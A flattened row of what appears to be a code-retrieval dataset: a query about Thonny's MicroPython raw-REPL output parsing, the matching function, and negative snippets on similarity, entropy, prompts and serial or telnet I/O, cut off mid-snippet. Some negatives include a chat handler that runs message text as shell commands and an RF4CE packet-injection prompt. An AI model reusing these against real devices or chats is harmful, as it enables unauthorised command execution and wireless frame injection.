##np.linalg.norm(u)\\n # Compute the cosine similarity defined by formula (1) (≈1 line)\\n cosine_similarity = dot / (norm_u * norm_v)\\n ### END CODE HERE ###\\n\\n return cosine_similarity\",\n \"def cross_entropy(self, sents):\\n return (-1) * self.log_prob(sents) / len(self._count)\",\n \"def cosinesimilarity_cal(CTRDM1, CTRDM2):\\n\\n # get number of conditions\\n n_cons = np.shape(CTRDM1)[0]\\n\\n # calculate the number of value above the diagonal in RDM\\n n = n_cons * (n_cons - 1)\\n\\n # initialize two vectors to store the values above the diagnal of two RDMs\\n v1 = np.zeros([n], dtype=np.float64)\\n v2 = np.zeros([n], dtype=np.float64)\\n\\n # assignment\\n nn = 0\\n for i in range(n_cons):\\n for j in range(n_cons):\\n if i != j:\\n v1[nn] = CTRDM1[i, j]\\n v2[nn] = CTRDM2[i, j]\\n nn = nn + 1\\n\\n # calculate the Cosine Similarity\\n V1 = np.mat(v1)\\n V2 = np.mat(v2)\\n num = float(V1 * V2.T)\\n denom = np.linalg.norm(V1) * np.linalg.norm(V2)\\n cos = num / denom\\n similarity = 0.5 + 0.5 * cos\\n\\n return similarity\",\n \"def __entropy(self, labels):\\n class_probs = np.unique(labels, return_counts=True)[1] / labels.size\\n class_prob_logs = np.log2(class_probs)\\n entropy = -np.sum(class_probs * class_prob_logs)\\n return entropy\",\n \"def similarity_score(self, img1, img2):\\n\\t\\t# resize into the same shape first\\n\\t\\tif img1.shape != img2.shape:\\n\\t\\t\\tv, h = max(img1.shape[0], img2.shape[0]), max(img1.shape[1], img2.shape[1])\\n\\t\\t\\tdim = (h, v)\\n\\t\\t\\th_scale = min(img1.shape[1], img2.shape[1]) / h\\n\\t\\t\\tv_scale = min(img1.shape[0], img2.shape[0]) / v\\n\\t\\t\\timg1 = cv2.resize(img1, dim, interpolation = cv2.INTER_AREA)\\n\\t\\t\\timg2 = cv2.resize(img2, dim, interpolation = cv2.INTER_AREA)\\n\\t\\t# # histogram\\n\\t\\t# diff = 0\\n\\t\\t# for c in range(3):\\n\\t\\t# \\thist1 = cv2.calcHist([img1], [c], None, [256], [0, 256])\\n\\t\\t# \\thist2 = cv2.calcHist([img2], [c], None, [256], [0, 256])\\n\\t\\t# \\tdiff += np.linalg.norm(hist1 - hist2)\\n\\n\\t\\t# HoG\\n\\t\\tfd1, _ = hog(img1, orientations=8, pixels_per_cell=(16, 16),\\n cells_per_block=(1, 1), visualize=True, multichannel=True)\\n\\t\\tfd2, _ = hog(img2, orientations=8, pixels_per_cell=(16, 16),\\n cells_per_block=(1, 1), visualize=True, multichannel=True)\\n\\t\\t# Combine both\\n\\t\\tdist = np.linalg.norm(fd1 - fd2)\\n\\t\\taim = mean_pixel_intensity_diff(img1, img2)\\n\\t\\tscore = 1 / (dist + aim + 1)\\n\\t\\treturn score\",\n \"def entropy(data):\\n e = 0\\n\\n counter = collections.Counter(data)\\n l = len(data)\\n for count in counter.values():\\n p_x = count / l\\n e += - p_x * math.log2(p_x)\\n\\n return e\",\n \"def cosineSimilarity(dict1,dict2):\\n product1 = 0.0\\n product2 = 0.0\\n for key in dict1.keys():\\n product1 += (dict1[key] * dict1[key])\\n for key in dict2.keys():\\n product2 += (dict2[key] * dict2[key])\\n product1 = math.sqrt(product1)\\n product2 = math.sqrt(product2)\\n fenmu = product1 * product2\\n fenzi = 0.0\\n for key in dict1.keys():\\n if key in dict2:\\n fenzi += (dict1[key] * dict2[key])\\n cosSim = fenzi / fenmu\\n return cosSim\",\n \"def calculate_similarity(self, tweets):\\r\\n if (len(tweets) == 1):\\r\\n return 0\\r\\n vectors = self.vectorizer.vectorize_data(tweets, False)\\r\\n\\r\\n temp = cosine_similarity(vectors[0:-1], vectors)\\r\\n temp = [item for sublist in temp for item in sublist]\\r\\n sim = sum(temp) / len(temp)\\r\\n return sim\",\n \"def cross_entropy(X, y):\\n return lambda theta: -y * np.log(logistic_hypothesis(theta)(X) + 1e-9) - (\\n 1 - y\\n ) * np.log(1 - logistic_hypothesis(theta)(X) + 1e-9)\",\n \"def entropy(y):\\n EPS = 0.0005\\n\\n # YOUR CODE HERE\\n if len(y) == 0:\\n return 0.\\n \\n pk = np.mean(y, axis=0)\\n \\n return - np.sum(pk * np.log(pk + EPS))\",\n \"def conditional_entropy_hyper(self) -> float:\\n pass\",\n \"def entropy(y):\\r\\n\\r\\n # INSERT YOUR CODE HERE\\r\\n value, count = np.unique(y,return_counts = True)\\r\\n Hy = 0.0\\r\\n prob = count.astype(float)/len(y)\\r\\n for p in prob:\\r\\n Hy += -(p)*(np.log2(p))\\r\\n return Hy\\r\\n raise Exception('Function not yet implemented!')\",\n \"def cosine(arr1, arr2):\\n\\n if arr1 is None or arr2 is None:\\n return np.NaN\\n if not isinstance(arr1, list):\\n arr1 = [arr1]\\n if any(pd.isnull(arr1)):\\n return np.NaN\\n if not isinstance(arr2, list):\\n arr2 = [arr2]\\n if any(pd.isnull(arr2)):\\n return np.NaN\\n # Create cosine measure object\\n measure = sm.Cosine()\\n # Call the function to compute the cosine measure.\\n return measure.get_raw_score(arr1, arr2)\",\n \"def similarity(self, word1: str, word2: str, metric='cosine') -> float:\\n if 0 == self.word2idx.get(word1, 0) or 0 == self.word2idx.get(word2, 0):\\n return 0.\\n\\n return self.similarity_vec(self[word1], self[word2], metric=metric)\\n # vec1 = self.__getitem__(word1).reshape((1, -1))\\n # vec2 = self.__getitem__(word2).reshape((1, -1))\\n # return 1 - distance.cdist(vec1, vec2, metric=metric).reshape(-1)\",\n \"def similarity_vec(self, vec1: numpy.ndarray, vec2: numpy.ndarray, metric='cosine') -> float:\\n if numpy.count_nonzero(vec1) == 0 or numpy.count_nonzero(vec2) == 0:\\n if metric == 'cosine':\\n return 0.\\n else:\\n return 0.\\n\\n vec1 = vec1.reshape((1, -1))\\n vec2 = vec2.reshape((1, -1))\\n if metric == 'cosine':\\n return (1 - distance.cdist(vec1, vec2, metric=metric).reshape(-1))[0]\\n else:\\n return distance.cdist(vec1, vec2, metric=metric).reshape(-1)[0]\",\n \"def cross_entropy(self, yhat):\\n n = len(self._y)\\n c = 0.0\\n for i in range(0, n):\\n c += self._y[i] * log(\\n yhat[i]) + (1 - self._y[i]) * log(1 - yhat[i])\\n\\n return c\",\n \"def w2v_sim(self, s1, s2):\\n v1 = self.word2vec.get_centroid_vector(s1)\\n v2 = self.word2vec.get_centroid_vector(s2)\\n return self.__cos_sim(v1, v2)\",\n \"def cossim(corpus):\\n files = os.listdir()\\n vectorizer = TfidfVectorizer()\\n trsfm = vectorizer.fit_transform(corpus)\\n columns = vectorizer.get_feature_names()\\n df_tfidf = pd.DataFrame(trsfm.toarray(), columns = columns, index = corpus)\\n out = cosine_similarity(trsfm)\\n df_result = pd.DataFrame(out, columns = files, index = files)\\n return df_result\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.72706926","0.68317753","0.66812646","0.66766757","0.66006863","0.65620357","0.65540147","0.6513036","0.64433026","0.64406836","0.64259344","0.641402","0.6411648","0.6321563","0.63186157","0.6316714","0.63073885","0.63004255","0.6289717","0.628617","0.628313","0.62722564","0.6266468","0.6241978","0.6240056","0.6219393","0.6199776","0.61966074","0.6153153","0.6145329","0.61398375","0.6139783","0.6137146","0.61183995","0.611707","0.61136913","0.6106058","0.6104671","0.6100971","0.6098558","0.6092475","0.60678095","0.6062851","0.6059633","0.6045924","0.60450506","0.60427624","0.6040679","0.6038566","0.60168684","0.6012074","0.6010695","0.60099995","0.6007765","0.5983363","0.59833074","0.5982288","0.59658575","0.5965664","0.59601295","0.5951698","0.59404606","0.5934829","0.5932696","0.5931295","0.5929657","0.5928586","0.5924751","0.5924663","0.59242904","0.5923022","0.592052","0.59185576","0.59184426","0.5917421","0.5916234","0.5901834","0.5895385","0.58919066","0.58906364","0.5887862","0.58798575","0.5879669","0.5878367","0.5873507","0.58618236","0.58283603","0.5824727","0.5823873","0.5818485","0.5817337","0.58140516","0.5813615","0.5813217","0.5809324","0.57969713","0.57916945","0.57887906","0.57809603","0.57755727"],"string":"[\n \"0.72706926\",\n \"0.68317753\",\n \"0.66812646\",\n \"0.66766757\",\n \"0.66006863\",\n \"0.65620357\",\n \"0.65540147\",\n \"0.6513036\",\n \"0.64433026\",\n \"0.64406836\",\n \"0.64259344\",\n \"0.641402\",\n \"0.6411648\",\n \"0.6321563\",\n \"0.63186157\",\n \"0.6316714\",\n \"0.63073885\",\n \"0.63004255\",\n \"0.6289717\",\n \"0.628617\",\n \"0.628313\",\n \"0.62722564\",\n \"0.6266468\",\n \"0.6241978\",\n \"0.6240056\",\n \"0.6219393\",\n \"0.6199776\",\n \"0.61966074\",\n \"0.6153153\",\n \"0.6145329\",\n \"0.61398375\",\n \"0.6139783\",\n \"0.6137146\",\n \"0.61183995\",\n \"0.611707\",\n \"0.61136913\",\n \"0.6106058\",\n \"0.6104671\",\n \"0.6100971\",\n \"0.6098558\",\n \"0.6092475\",\n \"0.60678095\",\n \"0.6062851\",\n \"0.6059633\",\n \"0.6045924\",\n \"0.60450506\",\n \"0.60427624\",\n \"0.6040679\",\n \"0.6038566\",\n \"0.60168684\",\n \"0.6012074\",\n \"0.6010695\",\n \"0.60099995\",\n \"0.6007765\",\n \"0.5983363\",\n \"0.59833074\",\n \"0.5982288\",\n \"0.59658575\",\n \"0.5965664\",\n \"0.59601295\",\n \"0.5951698\",\n \"0.59404606\",\n \"0.5934829\",\n \"0.5932696\",\n \"0.5931295\",\n \"0.5929657\",\n \"0.5928586\",\n \"0.5924751\",\n \"0.5924663\",\n \"0.59242904\",\n \"0.5923022\",\n \"0.592052\",\n \"0.59185576\",\n \"0.59184426\",\n \"0.5917421\",\n \"0.5916234\",\n \"0.5901834\",\n \"0.5895385\",\n \"0.58919066\",\n \"0.58906364\",\n \"0.5887862\",\n \"0.58798575\",\n \"0.5879669\",\n \"0.5878367\",\n \"0.5873507\",\n \"0.58618236\",\n \"0.58283603\",\n \"0.5824727\",\n \"0.5823873\",\n \"0.5818485\",\n \"0.5817337\",\n \"0.58140516\",\n \"0.5813615\",\n \"0.5813217\",\n \"0.5809324\",\n \"0.57969713\",\n \"0.57916945\",\n \"0.57887906\",\n \"0.57809603\",\n \"0.57755727\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.64782894"},"document_rank":{"kind":"string","value":"8"}}},{"rowIdx":15392,"cells":{"query":{"kind":"string","value":"Forwards output, extracts Thonny message, replaces normal prompts with raw prompts. This is executed when some code is running or just after requesting raw prompt. After submitting commands to the raw REPL, the output should be like {stdout}\\x04\\{stderr}\\x04\\n\\> In the end of {stdout} there may be \\x02{valueforthonny} Interrupts will alter the execution, but from the response parsing perspective they don't matter as they look like any other exception. Things get complicated because of softreboots, which always end with regular prompt. Softreboots can occur because of Ctrl+D, machine.soft_reset()"},"document":{"kind":"string","value":"def _process_until_raw_prompt(self, capture_output=False):\n # TODO: experiment with Ctrl+C, Ctrl+D, reset\n eot_count = 0\n value = None\n done = False\n out = b\"\"\n err = b\"\"\n\n while not done:\n if (self._connection.num_bytes_received == 0\n and time.time() - self._startup_time > 2):\n self._send_output(\"[Device seems to be busy. Use Ctrl+C to interrupt.]\\n\", \"stdout\")\n \n # There may be an input submission waiting\n # and we can't progress without resolving it first\n self._check_for_side_commands()\n\n # Process input in chunks (max 1 parsing marker per chunk).\n # Prefer whole lines (to reduce the number of events),\n # but don't wait too long for eol.\n output = self._connection.soft_read_until(BLOCK_CLOSERS, timeout=0.01)\n stream_name = \"stderr\" if eot_count == 1 else \"stdout\"\n\n if output.endswith(THONNY_MSG_START):\n debug(\"MSGSTA: \" + str(output))\n output = output[: -len(THONNY_MSG_START)]\n\n # Low chance of failure (eg. because of precisely timed reboot),\n # therefore it's safe to use big timeout\n temp = self._connection.soft_read_until(THONNY_MSG_END, timeout=3)\n if temp.endswith(THONNY_MSG_END):\n value = temp[: -len(THONNY_MSG_END)]\n debug(\"GOTVALUE: \" + str(value))\n else:\n # failure, restore everything to help diagnosis\n output = output + THONNY_MSG_START + temp\n\n elif output.endswith(EOT):\n debug(\"EOT: \" + str(output))\n output = output[: -len(EOT)]\n eot_count += 1\n if eot_count == 2:\n # Normal completion of the command\n # big chance of being at the raw prompt\n temp = self._connection.soft_read_until(RAW_PROMPT, timeout=0.1)\n if temp == RAW_PROMPT and self._connection.incoming_is_empty():\n done = True\n elif temp:\n # Failure, temp needs to be parsed again\n self._connection.unread(temp)\n\n elif output.endswith(FIRST_RAW_PROMPT) and self._connection.incoming_is_empty():\n debug(\"FIRAPRO: \" + str(output))\n output = output[: -len(FIRST_RAW_PROMPT)]\n done = True\n\n elif (\n output.endswith(NORMAL_PROMPT)\n and self._connection.peek_incoming() == b\"\\r\\n\" + FIRST_RAW_PROMPT\n ):\n debug(\"NOPRO: \" + str(output))\n output = output + self._connection.read_until(FIRST_RAW_PROMPT)\n # skip both normal and raw prompt together\n # (otherwise they get processed separately)\n output = output[: -len(NORMAL_PROMPT + b\"\\r\\n\" + FIRST_RAW_PROMPT)]\n done = True\n\n elif output.endswith(NORMAL_PROMPT) and self._connection.incoming_is_empty():\n debug(\"NOPRO2: \" + str(output))\n output = output[: -len(NORMAL_PROMPT)]\n # switch to raw mode and continue\n self._connection.write(RAW_MODE_CMD)\n\n if capture_output:\n if stream_name == \"stdout\":\n out += output\n else:\n assert stream_name == \"stderr\"\n err += output\n else:\n # TODO: deal with partial UTF-8 chars\n self._send_output(output.decode(ENCODING), stream_name)\n\n debug(\"doneproc\")\n return (\n out.decode(ENCODING),\n err.decode(ENCODING),\n None if value is None else value.decode(ENCODING),\n )"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def get_prompt(self, timeout=30):\n #self.tc.expect(self.tool_prompt, timeout=timeout)\n #self.tf = self.tc.after.split()\n #return {'status': int(self.tf[self.tool_status_index]), 'output': self.tc.before}\n output = \"\"\n # Loop until we receive the special spt prompt while in pipe mode.\n while True:\n line = self.tc.stdout.readline()\n if re.search(self.tool_prompt, line):\n self.tf = line.split()\n break\n elif not len(line):\n # We've reached EOF or spt exited abnormally, usually a core dump!\n raise RuntimeError\n else:\n output += line\n #if self._debug:\n # print('Response: {0}'.format(self.tf))\n # print('Output: {0}'.format(output), end=None)\n #import pdb; pdb.set_trace()\n return {'status': int(self.tf[self.tool_status_index]), 'output': output}","def prompt(self, question):\n self.output(' ')\n self.output(question)\n self.output(self.parse_response(str(self.ui())))","def speech_response_prompt(output, reprompt_text, endsession):\n\n return {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': output\n },\n 'reprompt': {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': reprompt_text\n }\n },\n 'shouldEndSession': endsession\n }","def speech_response_prompt(output, reprompt_text, endsession):\n\n return {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': output\n },\n 'reprompt': {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': reprompt_text\n }\n },\n 'shouldEndSession': endsession\n }","def pseudo_raw_input(self, prompt):\n\n # Deal with the vagaries of readline and ANSI escape codes\n safe_prompt = self._surround_ansi_escapes(prompt)\n\n if self.use_rawinput:\n try:\n if sys.stdin.isatty():\n line = sm.input(safe_prompt)\n else:\n line = sm.input()\n if self.echo:\n sys.stdout.write('{}{}\\n'.format(safe_prompt, line))\n except EOFError:\n line = 'eof'\n else:\n if self.stdin.isatty():\n # on a tty, print the prompt first, then read the line\n self.poutput(safe_prompt, end='')\n self.stdout.flush()\n line = self.stdin.readline()\n if len(line) == 0:\n line = 'eof'\n else:\n # we are reading from a pipe, read the line to see if there is\n # anything there, if so, then decide whether to print the\n # prompt or not\n line = self.stdin.readline()\n if len(line):\n # we read something, output the prompt and the something\n if self.echo:\n self.poutput('{}{}'.format(safe_prompt, line))\n else:\n line = 'eof'\n return line.strip()","def exec_raw_no_follow(self, command) -> None:\n\n if isinstance(command, bytes):\n command_bytes = command\n else:\n command_bytes = bytes(command.encode(\"utf-8\"))\n\n # check we have a prompt\n data = self.read_until(1, b\">\")\n if not data.endswith(b\">\"):\n raise PyboardError(\"could not enter raw repl 5\")\n\n if self.use_raw_paste:\n # Try to enter raw-paste mode.\n self.con.write(b\"\\x05A\\x01\")\n data = self.con.read(2)\n if data == b\"R\\x00\":\n # Device understood raw-paste command but doesn't support it.\n pass\n elif data == b\"R\\x01\":\n # Device supports raw-paste mode, write out the command using this mode.\n return self.raw_paste_write(command_bytes)\n else:\n # Device doesn't support raw-paste, fall back to normal raw REPL.\n data = self.read_until(1, b\"w REPL; CTRL-B to exit\\r\\n>\")\n if not data.endswith(b\"w REPL; CTRL-B to exit\\r\\n>\"):\n print(data)\n raise PyboardError(\"could not enter raw repl\")\n # Don't try to use raw-paste mode again for this connection.\n self.use_raw_paste = False\n\n # write string\n debug(f'self.con.write \"{command_bytes}\"')\n self.con.write(command_bytes)\n\n # Alternative for write string above, do it in chuncks of max 256 bytes.\n # Write command using standard raw REPL, 256 bytes every 10ms.\n # for i in range(0, len(command_bytes), 256):\n # self.serial.write(command_bytes[i: min(i + 256, len(command_bytes))])\n # time.sleep(0.01)\n\n # Terminate command\n debug(r'self.con.write \"\\r\\x04\"')\n self.con.write(b\"\\x04\")\n\n # check if we could exec command\n data = self.read_until(2, b\"OK\", timeout=0.5)\n if data != b\"OK\":\n raise PyboardError(\"could not exec command (response: %r)\" % data)","def prompt(self):\n return input(self.message + \": \").strip()","def strip_prompt(self, a_string):\n output = super().strip_prompt(a_string)\n lines = output.split(self.RESPONSE_RETURN)\n if \"Done\" in lines[-1]:\n return self.RESPONSE_RETURN.join(lines[:-1])\n else:\n return output","def print_response(prompt, response, sep=' '):\n print(bold(prompt), end=sep)\n print(response)","def _dumb_prompt(self, message: AnyFormattedText = \"\") -> Iterator[Application[_T]]:\n # Send prompt to output.\n self.output.write(fragment_list_to_text(to_formatted_text(self.message)))\n self.output.flush()\n\n # Key bindings for the dumb prompt: mostly the same as the full prompt.\n key_bindings: KeyBindingsBase = self._create_prompt_bindings()\n if self.key_bindings:\n key_bindings = merge_key_bindings([self.key_bindings, key_bindings])\n\n # Create and run application.\n application = cast(\n Application[_T],\n Application(\n input=self.input,\n output=DummyOutput(),\n layout=self.layout,\n key_bindings=key_bindings,\n ),\n )\n\n def on_text_changed(_: object) -> None:\n self.output.write(self.default_buffer.document.text_before_cursor[-1:])\n self.output.flush()\n\n self.default_buffer.on_text_changed += on_text_changed\n\n try:\n yield application\n finally:\n # Render line ending.\n self.output.write(\"\\r\\n\")\n self.output.flush()\n\n self.default_buffer.on_text_changed -= on_text_changed","def say(output='', reprompt_text='', title='', should_end_session=True):\n if reprompt_text == '':\n reprompt_text = output\n\n return {\n 'version': '1.0',\n 'sessionAttributes': session_attributes,\n 'response': {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': output\n },\n 'card': {\n 'type': 'Simple',\n 'title': title,\n 'content': output\n },\n 'reprompt': {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': reprompt_text\n }\n },\n 'shouldEndSession': should_end_session\n }\n }","def prompt(self, console: io.IO, step: str,\n args: Dict[str, Any]) -> Dict[str, Any]:\n pass","def prompt(self, console: io.IO, step: str,\n args: Dict[str, Any]) -> Dict[str, Any]:\n pass","def pseudo_raw_input(self, prompt):\n\n if self.use_rawinput:\n try:\n line = sm.input(prompt)\n except EOFError:\n line = 'EOF'\n else:\n self.stdout.write(prompt)\n self.stdout.flush()\n line = self.stdin.readline()\n if not len(line):\n line = 'EOF'\n else:\n if line[-1] == '\\n': # this was always true in Cmd\n line = line[:-1]\n return line","def test_unknown(self):\n msg = \"*** Unknown syntax: asd\\n\"\n with patch('sys.stdout', new=StringIO()) as f:\n HBNBCommand().onecmd(\"asd\")\n st = f.getvalue()\n self.assertEqual(msg, st)","def test_strip_prompt():\n string = \"\"\"MyRouter version 1.25.9\nmyhostname>\"\"\"\n connection = FakeBaseConnection(RESPONSE_RETURN=\"\\n\", base_prompt=\"myhostname>\")\n result = connection.strip_prompt(string)\n assert result == \"MyRouter version 1.25.9\"","async def terminal(event):\r\n command = utils.raw(event.message)\r\n await event.edit(f\"**Running command:**\\n`{command}`\")\r\n result = subprocess.getoutput(command)\r\n await event.edit(f\"**Running command:**\\n`{command}`\\n**Result:**\\n`{result}`\")","def showPrompt(self):\r\n self.terminal.nextLine()\r\n self.terminal.write(self.ps[self.pn])","def response(self, data, response_type = \"terminal\"):\n if (response_type == \"terminal\"):\n print(data, end=\"\\n\")","def __alt_prompt(self, prompt_text: str):\r\n if self.__use_windows_prompt:\r\n sys.stdout.write(prompt_text)\r\n sys.stdout.flush()\r\n i = sys.stdin.readline()\r\n return i.strip()\r\n return input(prompt_text)","def test_single_dialog_prompt_extra_line(monkeypatch, capsys):\n monkeypatch.setattr(\"sys.stdin\", io.StringIO(\"value\" + \"\\n\"))\n _dialog_prompt(\n parameter=DialogParameter(\"Title\", comment=\"Comment\"),\n )\n captured = capsys.readouterr()\n assert captured.out.count(\"\\n\") == 2","def lets_get_punny():\n \n text = '\\033[35;1m' # text color\n background = '\\033[30;1;45m'\n \n chat = True\n while chat:\n\n # Get a message from the user\n msg = input(background + 'You say \\U0001F4AC:\\t')\n out_msg = None\n \n #Checks if input has question mark\n question = is_question(msg)\n defined_question = how_question(msg)\n \n # Checks if input has exclamation point\n exclamation = is_screaming(msg)\n\n # Prepare the input message\n msg = prepare_text(msg)\n\n # Check for an end msg = \n if end_chat(msg):\n out_msg = '¡Adiós! \\U0001F44B'\n print(out_msg)\n break\n \n # all my message outputs here \n if not out_msg:\n \n outs = []\n \n outs.append(selector(msg, GREETING_IN, GREETING_OUT)) # Greetings\n \n outs.append(selector(msg, QUESTION_GREETING_IN, QUESTION_GREETING_OUT))\n \n outs.append(selector(msg, JOKE_REQUEST_IN, JOKE_REQUEST_OUT)) # Responses for certain questions\n outs.append(selector(msg, NO_JOKE_IN, NO_JOKE_OUT))\n outs.append(selector(msg, NO_JOKE_REPLY_IN, NO_JOKE_REPLY_OUT))\n \n outs.append(selector(msg, YES_JOKE_IN, YES_JOKE_OUT))\n outs.append(selector(msg, YES_JOKE_REPLY_IN, JOKE_REPLY_OUT))\n \n # How jokes get responses works\n msg_str = ' '.join(msg)\n msg_str = msg_str.lower()\n \n if msg_str in JOKE_REPLY_IN_2:\n name = find_in_list(msg, JOKE_REPLY_IN_2)\n outs.append(joke_reply_2(msg))\n \n outs.append(respond_echo(selector(msg, LAUGH_IN, LAUGH_OUT), 1, \"\\U0001F923 \"))\n \n options = list(filter(None, outs))\n \n if options:\n out_msg = random.choice(options)\n \n if not out_msg and exclamation: \n out_msg = random.choice(SCREAMING)\n \n if not out_msg and question:\n out_msg = text + random.choice(UNKNOWN_QUESTION)\n\n # Catch-all to say something if msg not caught & processed so far\n if not out_msg:\n out_msg = random.choice(UNKNOWN)\n\n print(text + 'JokeBot \\U0001F47E:\\t', out_msg + '\\n')","def prompt(self, task, text='', print_=False):\n template = self.prompts[task]['prompt']\n res = self.format_prompt(task, template, text)\n if print_:\n print(res)\n else:\n return res","def test_sanitize_output():\n\n output = \"\"\"\nshow cdp neighbors\nCapability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge\n S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,\n D - Remote, C - CVTA, M - Two-port Mac Relay\n\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\n\nTotal cdp entries displayed : 0\ncisco3#\"\"\"\n output = output.lstrip()\n\n expected = \"\"\"\nCapability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge\n S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,\n D - Remote, C - CVTA, M - Two-port Mac Relay\n\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\n\nTotal cdp entries displayed : 0\"\"\"\n expected = expected.lstrip()\n\n connection = FakeBaseConnection(\n RESPONSE_RETURN=\"\\n\",\n RETURN=\"\\n\",\n ansi_escape_codes=False,\n base_prompt=\"cisco3#\",\n )\n\n result = connection._sanitize_output(\n output,\n strip_command=True,\n command_string=\"show cdp neighbors\\n\",\n strip_prompt=True,\n )\n assert result == expected","def _prepare_state_prompts_without_proxy_pc(self):\n hops_config = self._configurations[TextualDevice.connection_hops]\n cfg_ux2adb = hops_config[UnixRemote.unix_remote][AdbRemote.adb_shell]\n cfg_adb2adbroot = hops_config[AdbRemote.adb_shell][AdbRemote.adb_shell_root]\n adb_shell_cmd_params = cfg_ux2adb[\"command_params\"]\n adb_shell_prompt = self._get_adb_shell_prompt(adb_shell_cmd_params)\n adb_shell_root_prompt = cfg_adb2adbroot[\"command_params\"][\"expected_prompt\"]\n if adb_shell_root_prompt is None:\n if adb_shell_prompt.endswith(\"$\"):\n adb_shell_root_prompt = adb_shell_prompt[:-1] + \"#\"\n else:\n consequence = \"Won't be able to detect {} state\".format(AdbRemote.adb_shell_root)\n fix = \"Please provide configuration with 'expected_prompt' for {} state\".format(AdbRemote.adb_shell_root)\n self._log(logging.WARNING, \"Unknown prompt for {} state. {}. {}.\".format(AdbRemote.adb_shell_root,\n consequence, fix))\n adb_shell_root_prompt = \"Unknown_adb_root_prompt\"\n\n state_prompts = {\n AdbRemote.adb_shell: adb_shell_prompt,\n AdbRemote.adb_shell_root: adb_shell_root_prompt,\n }\n return state_prompts","def output(self, response: str):\n\n # Try to output through the prefered medium, but revert to\n # backup if need to and log any errors found, for example:\n # logging.error(\"Problem!\")\n\n IO.stdout(response)","def test_strip_no_prompt():\n string = \"\"\"MyRouter version 1.25.9\nadditional text\"\"\"\n connection = FakeBaseConnection(RESPONSE_RETURN=\"\\n\", base_prompt=\"myhostname>\")\n result = connection.strip_prompt(string)\n assert result == string","def get_help_response():\n card_title = \"Welcome\"\n speech_output = \"Please give a command for your painting lights.\"\n\n response = response_builders.build_response(session_attributes,\n response_builders.build_speechlet_response(card_title,\n speech_output, reprompt_text, should_end_session))\n return response","def enter_repl(self):\n text_input = ''\n while True:\n text_input = input('>>')\n if text_input == 'exit':\n break\n #An alias for querying an instrument error string\n elif text_input == 'err?':\n self.write_to_serial(':SYST:ERR?')\n print(self.read_from_serial())\n else:\n self.write_to_serial(text_input)\n print(self.read_from_serial())","def prompt(self):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tif self.rf4ce_frame.frame_ciphered:\n\t\t\t\t\tciphered_status = \"ciphered\"\n\t\t\t\telse:\n\t\t\t\t\tciphered_status = \"plain\"\n\t\t\t\ta = hue.lightblue(\"{}\".format(self.rf4ce_frame.frame_counter))\n\t\t\t\tb = hue.lightblue(\"0x{:02x}\".format(self.rf4ce_frame.profile_indentifier))\n\t\t\t\tc = hue.lightblue(ciphered_status)\n\t\t\t\tcmd = raw_input(\"({} - {} - {})>>> \".format(a, b, c))\n\t\t\texcept KeyboardInterrupt:\n\t\t\t\traise StopIteration\n\n\t\t\tif cmd.startswith(\"profile\"):\n\t\t\t\ttry:\n\t\t\t\t\tyield InjectorCmd(InjectorCmd.PROFILE, cmd.split()[1])\n\t\t\t\texcept:\n\t\t\t\t\tself.log(\"Malformed command\", hue.bad)\n\t\t\t\t\tcontinue\n\n\t\t\telif cmd.startswith(\"counter\"):\n\t\t\t\ttry:\n\t\t\t\t\tyield InjectorCmd(InjectorCmd.COUNTER, cmd.split()[1])\n\t\t\t\texcept:\n\t\t\t\t\tself.log(\"Malformed command\", hue.bad)\n\t\t\t\t\tcontinue\n\n\t\t\telif cmd.startswith(\"delay\"):\n\t\t\t\ttry:\n\t\t\t\t\tyield InjectorCmd(InjectorCmd.DELAY, cmd.split()[1])\n\t\t\t\texcept:\n\t\t\t\t\tself.log(\"Malformed command\", hue.bad)\n\t\t\t\t\tcontinue\n\n\t\t\telif cmd.startswith(\"ciphered\"):\n\t\t\t\ttry:\n\t\t\t\t\tyield InjectorCmd(InjectorCmd.CIPHERED, cmd.split()[1])\n\t\t\t\texcept:\n\t\t\t\t\tself.log(\"Malformed command\", hue.bad)\n\t\t\t\t\tcontinue\n\n\t\t\telif cmd.startswith(\"help\"):\n\t\t\t\tyield InjectorCmd(InjectorCmd.HELP, None)\n\n\t\t\telif cmd.startswith(\"exit\"):\n\t\t\t\traise StopIteration\n\n\t\t\telse:\n\t\t\t\tfor packet in cmd.split():\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdata = binascii.unhexlify(packet)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tself.log(\"Malformed command\", hue.bad)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tyield InjectorCmd(InjectorCmd.PACKET, data)","def issue(self, cmd):\n self.send([cmd])\n return self.read_until_prompt()[1:] # drop the echo","def _execute(self, command):\n \"\"\"\n Confirm the command was correctly echoed back and then ask for\n its return code\n \"\"\"\n self.telnet_client.write((command + \"\\r\\n\").encode())\n resp = self.telnet_client.read_until((command + \"\\r\\n\").encode())\n while True:\n resp = self.telnet_client.read_until(self.prompt.encode())\n if resp is not None:\n break\n\n stdout = resp.decode()\n stderr = \"\"\n self.telnet_client.write(\"echo $?\\r\\n\".encode())\n _, match, _ = self.telnet_client.expect([re.compile(br'(\\d+)')],\n TelnetControl.TELNET_TIMEOUT)\n exit_code = int(match.group(1).decode())\n\n if exit_code != 0:\n stderr = resp.decode()\n return exit_code, stdout, stderr","def response_training_prompt(self):\n self._last_response = \"training_prompt\"\n print(\"Training Prompt\")\n self.user_stats.set_followup(self._last_worst_grip)\n return Mglove_str_gen.training_prompt(self.user_stats.get_followup())","def recv_to_prompt(self):\n buf = \"\"\n while True:\n ibuf = self._channel.recv(65536)\n buf += ibuf\n if ibuf.endswith(\"$ \") or ibuf.endswith(\"# 